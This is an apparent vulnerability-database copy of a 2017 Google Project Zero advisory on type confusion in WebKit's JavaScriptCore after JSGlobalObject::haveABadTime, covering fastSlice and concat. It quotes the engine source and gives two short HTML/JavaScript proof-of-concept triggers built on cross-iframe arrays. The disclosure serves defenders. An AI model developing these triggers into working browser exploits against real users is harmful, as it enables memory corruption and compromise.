WebKit JSC - JSGlobalObject::haveABadTime Causes Type Confusions

🗓️ 16 Jun 2017 00:00:00Reported by Google Security ResearchType
WebKit JSC - JSGlobalObject::haveABadTime type confusion
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1208

After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions.

void JSGlobalObject::haveABadTime(VM& vm)
{
	...
    for (unsigned i = 0; i < NumberOfIndexingShapes; ++i)
        m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage));  <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage
    ...
    while (!foundObjects.isEmpty()) {
        JSObject* object = asObject(foundObjects.last());
        foundObjects.removeLast();
        ASSERT(hasBrokenIndexing(object));
        object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array
    }
}


1. fastSlice:
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        VM& vm = exec.vm();
        if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
            return nullptr;

        Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
        JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count);
        if (!resultArray)
            return nullptr;

        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
        else
            memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
        resultButterfly.setPublicLength(count);

        return resultArray;
    }
    default:
        return nullptr;
    }
}

If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320);

let c = Array.prototype.slice.call(a);
alert(c);

</script>
</body>
</html>

2. arrayProtoPrivateFuncConcatMemcpy
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec)
{
...
    JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
    ...
    IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType);
    ...
    Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type);
    JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize);
    if (!result)
        return JSValue::encode(throwOutOfMemoryError(exec, scope));
    
    if (type == ArrayWithDouble) {
        double* buffer = result->butterfly()->contiguousDouble().data();
        memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
        memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
    } else if (type != ArrayWithUndecided) {
        WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data();
        memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize);
        if (secondType != ArrayWithUndecided)
            memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize);
        else {
            for (unsigned i = secondArraySize; i--;)
                buffer[i + firstArraySize].clear();
        }
    }

    result->butterfly()->setPublicLength(firstArraySize + secondArraySize);
    return JSValue::encode(result);
}

If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

PoC:
-->

<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);

let c = Array.prototype.concat.call(a, b);

alert(c);

</script>
</body>
</html>
16 Jun 2017 00:00Current
7.4High risk
Vulners AI Score7.4